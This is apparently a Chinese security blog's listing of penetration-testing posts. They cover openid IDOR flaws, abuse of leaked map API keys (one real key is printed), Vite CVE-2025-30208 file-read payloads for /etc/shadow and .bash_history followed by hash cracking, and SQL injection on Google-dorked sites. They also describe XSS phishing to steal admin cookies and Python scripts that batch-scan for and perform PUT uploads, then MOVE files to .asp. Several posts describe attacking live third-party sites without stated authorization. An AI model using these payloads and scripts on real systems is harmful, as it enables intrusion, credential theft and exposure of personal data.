找到
31
篇与
学习笔记
相关的结果
-
逻辑漏洞逻辑漏洞还是逻辑漏洞 第一个逻辑漏洞 目标菜单栏中只有这个一可以打,其他的都是文章链接 进入小程序第一步注册账号,头像处可以测试上传。 通过测试只能上传图片类型的后缀,其他的全都不行,下一个 修改个人信息的数据包引起了我的注意,它不是通过cookie来判断用户,而是openid,明摆着的越权漏洞 ok知道了逻辑,重新注册一个账号。把新账号的openid填进去然后发包 刷新账号的个人信息,信息被篡改了,第一个逻辑漏洞到手 第二个逻辑漏洞 返回到我的界面,然后重新进入个人信息界面时查询用户信息的数据包再次引起了我的注意。它也是通过openid来查询用户数据的,返回的数据包含姓名、手机号、身份证号、邮箱、账号、密码、openid。 直接填入新账号的openid,成功返回刚刚修改的信息。第二个逻辑漏洞到手 第三、四个逻辑漏洞 来到首页,测试志愿者注册功能点 有验证码功能,那测试一下有没有短信轰炸啥的。 通过测试只有短信转发漏洞,卡1卡2接收到的验证码都一样。第三个逻辑漏洞到手 另外提一嘴,注册志愿者也是通过openid来辨别身份的,我可以让任意一个人成为志愿者,算是第四个逻辑漏洞 信息泄露 接下来测试自主查询功能点,志愿者查询功能没啥可测的,重点在于志愿队伍查询 问题来了,怎么获取队伍名呢?这个可以在志愿队伍功能中查看到 输入获取到的队伍名,成功查询到队伍信息,同时还查询到队长姓名、手机号、身份证号、邮箱、账号、密码、openid 弱口令 小程序测试完成,开始测试web端 登录框没啥好说的,逐一尝试sql、接口、弱口令,最后弱口令成功进入后台 在用户管理功能中共计2513条个人信息,内容包含姓名、手机号、身份证号、邮箱、openid 泄露的openid结合上面的漏洞进行操作妥妥的乱杀 存储型XSS 在后台的的活动管理功能处,发现站点使用的是UEditor编辑器。这个网站是php的所以没办法通过编辑器getshell,只能造成一个存储型XSS 众所周知需要鉴权的漏洞分数都不会太高,所以现在要找到这个编辑的demo。demo不需要鉴权就能使用,造成的存储型XSS分值就会高。怎么找呢?非常简单用编辑器随便上传一张图片,在请求包中就可以看到路径 拼接一下地址就可以访问到编辑器的demo了 存储型XSS漏洞过程就不演示了,自行百度复现
-
发掘泄露的地图key与利用 地图key介绍 以高德地图为例。高德地图提供的API Key是开发者调用高德地图各项服务时必须使用的身份验证凭证。功能非常多,这里介绍几个核心功能: 地图展示:通过Key加载高德地图的矢量/卫星地图 地理编码:将地址转换为经纬度 路径规划:提供驾车、步行、骑行等导航路线。 地点搜索:POI检索,如搜索“附近的加油站”。 逆地理编码:将经纬度转换为具体地址 泄露Key引发的问题 费用增加:高德地图API通常有免费配额,但一旦超出免费额度,额外的请求会产生费用。 服务中断:如果发现API Key被泄露并被滥用,服务提供商可能会对相关密钥进行封禁或其他措施,可能导致你的应用服务中断。 滥用和超额使用:如果API Key泄露,其他人可能会滥用你的API Key,导致你的账户超额使用配额。 申请key 两种方式获取key: 网络测绘 (body="webapi.amap.com" || body="api.map.baidu.com" || body="apis.map.qq.com" || body="map.qq.com/api/js?v=") && is_domain=true 手动申请 https://lbs.amap.com/api/webservice/create-project-and-key 创建好账号后,在控制台点击应用管理-创建新应用,来获取key 有免费使用的次数限制 如果超出了次数限制可以进行充值 漏洞发掘 此类漏洞经常出现在公司官网关于公司或者联系我们板块中的地图功能 key主要在前端、请求包体中泄露,响应包泄露非常少见。 漏洞利用 国内主流的地图厂商分别有:高德、百度、腾讯,这里给出对应的请求示例: 高德webapi https://restapi.amap.com/v3/direction/walking?origin=116.434307,39.90909&destination=116.434446,39.90816&key=这里写key 高德jsapi https://restapi.amap.com/v3/geocode/regeo?key=这里写key&s=rsv3&location=116.434446,39.90816&callback=jsonp_258885_&platform=JS 高德小程序定位 https://restapi.amap.com/v3/geocode/regeo?key=这里写key&location=117.19674%2C39.14784&extensions=all&s=rsx&platform=WXJS&appname=c589cf63f592ac13bcab35f8cd18f495&sdkversion=1.2.0&logversion=2.0 百度webapi https://restapi.amap.com/v3/geocode/regeo?key=这里写key&location=117.19674%2C39.14784&extensions=all&s=rsx&platform=WXJS&https://api.map.baidu.com/place/v2/search?query=ATM机&tag=银行®ion=北京&output=json&ak=这里写key 百度webapiIOS版 https://api.map.baidu.com/place/v2/search?query=ATM机&tag=银行®ion=北京&output=json&ak=这里写key=iPhone7%2C2&mcode=com.didapinche.taxi&os=12.5.6 腾讯webapi https://apis.map.qq.com/ws/place/v1/search?keyword=酒店&boundary=nearby(39.908491,116.374328,1000)&key=这里写key 拿我的key做示例:28aebc9c35a582467c153e012b0bb244,已知是高德的所以直接使用高德的接口来调用一下是否能返回数据 https://restapi.amap.com/v3/direction/walking?origin=116.434307,39.90909&destination=116.434446,39.90816&key=28aebc9c35a582467c153e012b0bb244访问后成功返回数据 获取到的key不知道是哪个平台的就只能每个接口尝试一下了,如果是对应平台的key就可正常返回数据。也有特别的情况:对方做了防御,这个key只能由指定ip使用该服务 如果设置指定ip,获取到key后通过接口请求则会返回错误码 对应的错误码 这是高德的错误码对照表 https://lbs.amap.com/api/webservice/guide/tools/info
-
由Vite任意文件读取漏洞引发的后续利用和思考(CVE-2025-30208) 废话 这个漏洞是2025年3月24日公布的漏洞。在这之后很多师傅都发布了相关的技术分析文章,小弟也是观摩了一番内容都非常丰富。 今天刚好清明节假期正好有空也来写一篇对于这个漏洞的理解与后续利用。 漏洞介绍 Vite在开发服务器模式下,提供了@fs功能,原本是为了让开发者访问服务允许范围内的文件。正常情况下,如果请求的文件超出了这个允许范围,Vite应该返回“403 Restricted”,提示访问受限。但在请求URL中添加?raw??或?import&raw??这样的特殊参数时,就能绕过原本的文件访问限制检查。 Vite在处理请求的多个环节中,会移除类似?的结尾分隔符,但在查询字符串的正则匹配过程中,却没有考虑到这种特殊情况,利用这个缺陷,就能读取目标文件的内容。例如: 地址/etc/passwd?raw?? 地址/etc/passwd?import&raw?? 地址/@fs/etc/passwd?raw?? 地址/@fs/etc/passwd?import&raw??具体的漏洞分析其他大佬写的都非常详细我这边就不过多的聊了。 linux服务器深度利用 众所周知linux系统是由文件夹组成的系统,目录树大致如下(不同版本略有不同) 其中值得注意的是这几个文件 /etc/shadow /root/.bash_historyshadow 什么是shadow /etc/shadow是linux系统中存储用户加密后密码文件,该文件只有root用户才能访问。 接下来,了解一下linux的密码结构。 密码格式解释: 用户名:加密后的密码:最后更改密码的日期:最小密码天数:最大密码天数:警告天数:失效宽限期:账户到期日:保留字段ubuntu虚拟机的密码示例: qq:$6$d5WOu04sdVK9Nyjm$cmN4vVzxLa23HkPQgMCs6S1OYhjJHDuf3nyBKMbbGkEhkPTBiWjYlhcN73XKwHD5xCAK8t95tAKZdxrd.Sp.s/:20182:0:99999:7:::ubuntu虚拟机的密码解释: 用户名:qq 加密后的密码:$6$d5WOu04sdVK9Nyjm$cmN4vVzxLa23HkPQgMCs6S1OYhjJHDuf3nyBKMbbGkEhkPTBiWjYlhcN73XKwHD5xCAK8t95tAKZdxrd.Sp.s/ 最后更改密码的日期:20182 最小密码天数:0 最大密码天数:99999 警告天数:7 失效宽限期:空 账户到期日:空 保留字段:空加密方式: $1$:MD5 $2a$, $2b$, $2y$:Blowfish $5$:SHA-256 $6$:SHA-512 $y$:Yescrypt $argon2id$:Argon2目前最新版的kali、ubuntu的密码都使用了Yescrypt加密方式,这个加密方式是里面最强的。如果你读出的密码不是使用这个那还有一线生机。 shadow利用 当时使用地址/etc/shadow?raw??成功读取到目标密码后该怎么深入利用。 以我的ubuntu虚拟机密码为例,把密码内容保存在文本中,使用kali自带的john工具来破解密码。 现在很多厂商为用户着想都会把ssh的默认22端口改成其他的,这需要你对目标进行扫描来确定ssh端口。然后就可以使用这个密码来连接目标。有的还会限制请求连接的ip,还是要看运气。 .bash_history 什么是.bash_history .bash_history是linux系统中Bash Shell自动记录用户命令历史的文件,存储在用户的录下。它的作用是方便用户回溯和重复使用之前输入的命令,提高操作效率。 如果你想查看root用户以前输入过的命令,可以直接使用命令:history 或者查看他的.bash_history文件。 但是也存在其他情况,在装系统时引导会让你创建一个低权限的账户。在日常这个账户足够你的使用,除了一些需要高权限的操作会用到root账户。作为日常账号那肯定也会积攒下许多命令。 以qq这个账户为例,怎么才能查看到qq这个账户以前输入过哪些命令。 linux的root账户是有自己独立的文件的,目录位置上面提到了。其他用户的文件夹则统一都放在/home文件夹下。 进入目标账户的文件下就可以查看到.bash_history文件,查看历史命令和root的方式一样这里就不过多演示。 .bash_history利用 当密码没有被破解出来不甘心,就想掏点东西出来才行。那么首先你需要查看/etc/shadow文件,来确认目标存在哪些账户。 网页直接看这些文字都会团在一起,看起来非常费劲。可以找换行符转换行工具让内容格式正常 找账户存在两种可能。第一种只有root账户,这个案例就是。也就是说他只有一个账户的历史命令 第二种就是我们在装系统时引导让我们创建一个低权限账户的情况。例如qq这个账户有密码,但是root账户是空的。这并不是意味着root账户没有密码,而是因为早期的Unix系统允许root用户无密码登录,但这带来了严重的安全风险。现在的linux发行版默认禁用root密码登录,改为使用sudo机制。这种就存在有两个账户的历史命令。具体多少个账户请随机应变。 确认好目标存在哪些账户,接下来就具体查看账户的历史命令。有时网页显示中文会编码错误,可以在开发者模式里复制页面内容 root用户:地址/root/.bash_history?raw?? 其他用户:地址/home/用户/.bash_history?raw?? 分析历史命令后找到了网站的后台地址 配置信息看一手 数据库账号和密码搞到手 后续在历史命令中也找到了 连接到数据直接翻管理员密码,并成功登录到系统后台 任意文件读取不仅仅只能做这些,有可能还可以通过读配置文件来获取认证需要的key、读取网站的日志来获取敏感的目录位置,有几率还会有账号密码啥的、又或者跟着切换目录和打包的命令,把备份文件下载下来等。 思考 在2024年某次全国护网行动中很荣幸和安恒成为队友一起并肩作战。其中有位师傅的漏洞令我印象非常深刻,说出来你有可能不信。 大致过程就是插件识别到了一个系统框架,这个框架存在任意文件读取漏洞,碰巧这个系统还没修!师傅进而读取历史命令得到了ssh密码。最让人意想不到就是密码获取的途径非常炸裂,管理员sudo提权时密码输错。报错后在命令行单独输了一遍密码!单独输了一遍密码你敢信!就这样密码被明文记录到历史命令中!后面也是通过这台机器横向打了许多目标。 任意文件读取最大的特点就是参数后面会带有?path=,这个经常在头像处能看到,师傅们可以多多留意。
-
姜太公钓鱼 寻找目标 上次写了一篇关于谷歌黑语法的文章,恰好这几天有闲时间索性就随便摸一摸。 这次找有sql注入的目标,直接一个inurl:?id= intext:公司,资产这不就来了。 逐个对这些目标进行测试。其实就是在参数后面加单引号,如果有报错就细测。弄到管理员密码就到后台找其他漏洞,就这样成功了好几个。直到遇到这个资产。 两个站 复制链接丢进bp浏览器访问时发现是另一个界面。使用http访问的是第一张图的站点,https访问的是第二张图的站点,奇怪太奇怪了。那就分开测试吧。 HTTP站点 按部就班 首先通过谷歌黑语法找到注入点:http://127.0.0.1/information.php?id=28,尝试参数后面加上一个单引号页面中的内容就消失了。 这一看就有注入啊,直接丢给sqlmap处理。 后面也都知道的,找管理员账户和配置文件看看有什么敏感信息啥的。不过最后只有管理员账号和密码有用。 既然知道了管理员账户和密码那就开始找后台吧。后续把我所有字典全都跑完了都没找到后台地址,这不就废了吗光有密码找不到入口。 那不行,不能让我时间白白浪费了。继续在找找看有没有其他的漏洞再利用一下。 用rad爬取整个站点链接,然后去掉没用链接。 在爬取的目录中有编辑器路径,后续尝试爆破目录同样没有任何反应遂放弃。 姜太公钓鱼 接下来着重对有参数的id进行测试,果不其然在其中一条链接存在反射型XSS,有XSS就好说了直接钓鱼。 http://127.0.0.1/news.php?a=bexc3&begindate=w3o77&c=x83k5&categoryid=zk5y7&email=t6h89&emailto=n3ai1&id=<script>alert('XSS')</script>&item=x3591&jsonp=d9z06&keyword=vkkv5&l=y1956&lang=lg1b7&list_btn=j52s6&month=bm864&parent_ele=qmx20&pre_btn=o3qg1&query=tktd8&token=jf6u3&view=tg8d1&waite_time=g76a0&year=yn0e4 找个XSS平台选择默认模块就足够了,主要就是用来获取管理员cookie和后台地址用的。由于平台关闭了邮箱通知功能,不能在第一时间使用有效的cookie。如果管理员长时间不操作那么获取到的cookie就会失效。所以这里需要把keepsession选上,这个功能每隔9分钟会自动访问目标来确保cookie的有效性。 测试了一下这个链接可以正常接收到数据。 众所周知每个公司的官网都有留言的地方,我们可以通过这个功能把钓鱼链接发送给后台。当管理员登录后台发现有留言肯定会点击查看。 愿者上钩(静候佳音) 等待后续补充 HTTPS站点 呦!你也在啊! 原本以为这两个站是同样的,用同样的注入点访问时站点返回File not found。嗯?这啥情况? 随便翻了翻这个站点同样存在sql注入,注入点:https://127.0.0.1/news_details.php?id=215。 两者的数据库结构差不多,管理员账号和密码都一模一样。 还在留言板中找到了其他师傅留下的信息 同样这个站点存在反射型XSS。宁可错杀一百,不可放过一个。继续钓鱼,具体操作和上面的一样这里就不展示了。
-
意想不到的文件上传 新世界大门 你意想不到的文件上传手法。两种手法:通过js查找文件上传接口、通过服务器回显判断能否文件上传。 文件上传接口 在js里找接口是常有的事,如果找到了上传的接口可以尝试使用以下的代码。保存到本地把目标的文件上传接口填进去就可以在本地上传文件了。 代码: <form enctype="multipart/form-data" action="此处填写文件上传接口" method="post"> 请选择要上传的文件:<br> <input type="file" name="Filedata" size="50000"><br> <input type="submit" value="Upload"> </form>探测服务器是否支持文件上传 HTTP求方法方法中OPTIONS可以获取目标支持哪些通信。 批量检测网站是否允许PUT、DELETE、MOVE请求方法 import argparse import aiohttp import asyncio import time from urllib.parse import urlparse async def check_methods(session, url, semaphore, output_file): async with semaphore: try: # 自动补全协议头 parsed = urlparse(url) if not parsed.scheme: url = 'http://' + url parsed = urlparse(url) # 如果仍然没有协议头,则使用https if not parsed.scheme: url = 'https://' + url async with session.options(url) as response: # 检查Allow或Access-Control-Allow-Methods头部 allowed_methods = response.headers.get('Allow', '') or response.headers.get('Access-Control-Allow-Methods', '') if not allowed_methods: return # 解析允许的方法并检查PUT/DELETE/MOVE allowed_methods = [method.strip().upper() for method in allowed_methods.split(',')] dangerous_methods = [] for method in ['PUT', 'DELETE', 'MOVE']: if method in allowed_methods: dangerous_methods.append(method) if dangerous_methods: print(f"\033[31m[+] 漏洞 {url} 允许危险方法: {', '.join(dangerous_methods)}\033[0m") # 实时写入文件 with open(output_file, 'a', encoding='utf-8') as f: f.write(f"{url} - 允许方法: {', '.join(dangerous_methods)}\n") else: print(f"[+] 安全 {url}: {allowed_methods}") except aiohttp.ClientError: # 如果是http失败,尝试https if not url.startswith('https://'): try: https_url = url.replace('http://', 'https://', 1) async with session.options(https_url) as response: allowed_methods = response.headers.get('Allow', '') or response.headers.get('Access-Control-Allow-Methods', '') if not allowed_methods: return allowed_methods = [method.strip().upper() for method in allowed_methods.split(',')] dangerous_methods = [] for method in ['PUT', 'DELETE', 'MOVE']: if method in allowed_methods: dangerous_methods.append(method) if dangerous_methods: print(f"\033[31m[+] 漏洞 {https_url} 允许危险方法: {', '.join(dangerous_methods)}\033[0m") # 实时写入文件 with open(output_file, 'a', encoding='utf-8') as f: f.write(f"{https_url} - 允许方法: {', '.join(dangerous_methods)}\n") else: print(f"[+] 安全 {https_url}: {allowed_methods}") except Exception: pass except Exception: pass async def process_urls(url_list, output_file, concurrency=50): # 清空或创建输出文件 with open(output_file, 'w', encoding='utf-8') as f: pass # 配置TCP连接器和超时设置 connector = aiohttp.TCPConnector(force_close=True) timeout = aiohttp.ClientTimeout(total=10) semaphore = asyncio.Semaphore(concurrency) async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session: tasks = [check_methods(session, url, semaphore, output_file) for url in url_list] await asyncio.gather(*tasks) def read_urls_from_file(file_path): with open(file_path, 'r', encoding='utf-8') as f: return [line.strip() for line in f if line.strip()] def main(): parser = argparse.ArgumentParser(description='检测目标是否允许PUT/DELETE/MOVE等危险方法') parser.add_argument('-u', '--url', help='要检测的单个URL地址') parser.add_argument('-f', '--file', help='包含多个URL的文件路径') parser.add_argument('-o', '--output', default='2.txt', help='存在漏洞的URL输出文件(默认:2.txt)') parser.add_argument('-c', '--concurrency', type=int, default=50, help='并发连接数(默认:50)') args = parser.parse_args() if not args.url and not args.file: parser.print_help() return urls = [] if args.url: urls.append(args.url) if args.file: urls.extend(read_urls_from_file(args.file)) print(f"正在检测 {len(urls)} 个URL...\n") start_time = time.time() asyncio.run(process_urls(urls, args.output, args.concurrency)) elapsed = time.time() - start_time print(f"\n检测完成! 总耗时: {elapsed:.2f}秒") print(f"存在漏洞的URL已实时保存到 {args.output}") if __name__ == '__main__': main() 如果支持PUT方法,批量写入 import argparse import aiohttp import asyncio from urllib.parse import urlparse import os async def test_put_upload(session, url, semaphore, output_file): async with semaphore: try: # 自动补全协议头并规范化URL parsed = urlparse(url) if not parsed.scheme: url = f"http://{url}" parsed = urlparse(url) # 确保路径以/结尾(避免覆盖目录) path = parsed.path if parsed.path.endswith('/') else f"{parsed.path}/" target_url = f"{parsed.scheme}://{parsed.netloc}{path}1.txt" # 尝试PUT上传 put_data = "123456" async with session.put( target_url, data=put_data, headers={'Content-Type': 'text/plain'}, timeout=aiohttp.ClientTimeout(total=10) ) as put_response: # 检查PUT是否成功 (2xx状态码) if put_response.status not in range(200, 300): print(f"[-] 上传失败 {target_url} (HTTP {put_response.status})") # 白色 return # 验证文件是否可访问 async with session.get(target_url, timeout=aiohttp.ClientTimeout(total=10)) as get_response: if get_response.status == 200 and (await get_response.text()).strip() == put_data: print(f"\033[31m[+] 成功 {target_url}\033[0m") # 红色 with open(output_file, 'a') as f: f.write(f"{target_url}\n") else: print(f"[-] 验证失败 {target_url} (HTTP {get_response.status})") # 白色 except Exception as e: print(f"[-] 错误 {url}: {str(e)}") # 白色 async def process_urls(urls, output_file, concurrency=20): # 清空或创建输出文件 with open(output_file, 'w') as f: pass # 配置HTTP客户端 connector = aiohttp.TCPConnector(force_close=True) semaphore = asyncio.Semaphore(concurrency) async with aiohttp.ClientSession(connector=connector) as session: tasks = [test_put_upload(session, url, semaphore, output_file) for url in urls] await asyncio.gather(*tasks) def main(): parser = argparse.ArgumentParser(description='测试URL是否允许PUT上传', formatter_class=argparse.RawTextHelpFormatter) parser.add_argument('-u', '--url', help='检测单个URL') parser.add_argument('-f', '--file', help='批量检测URL文件路径') parser.add_argument('-o', '--output', default='2.txt', help='输出文件路径(默认:2.txt)') parser.add_argument('-c', '--concurrency', type=int, default=20, help='并发数(仅在-f模式下有效,默认:20)') args = parser.parse_args() # 参数校验 if not args.url and not args.file: parser.print_help() print("\n错误:必须指定-u或-f参数") return if args.url and args.file: print("错误:-u和-f参数不能同时使用") return # 准备URL列表 urls = [] if args.url: urls.append(args.url) args.concurrency = 1 # 单URL模式强制并发数为1 elif args.file: if not os.path.exists(args.file): print(f"错误:输入文件 {args.file} 不存在") return with open(args.file, 'r') as f: urls = [line.strip() for line in f if line.strip()] print(f"正在测试 {len(urls)} 个URL...") asyncio.run(process_urls(urls, args.output, args.concurrency)) print(f"\n测试完成!成功URL已保存到 {args.output}") if __name__ == '__main__': main() 上传后如果还支持MOVE方法还可以移动文件到指定目录下,并修改文件名。将根目录下的1.txt移动到/示例路径/示例路径/下,并将名字修改为1.asp MOVE /1.txt HTTP/1.1 Host: 地址 Destination: /示例路径/示例路径/1.asp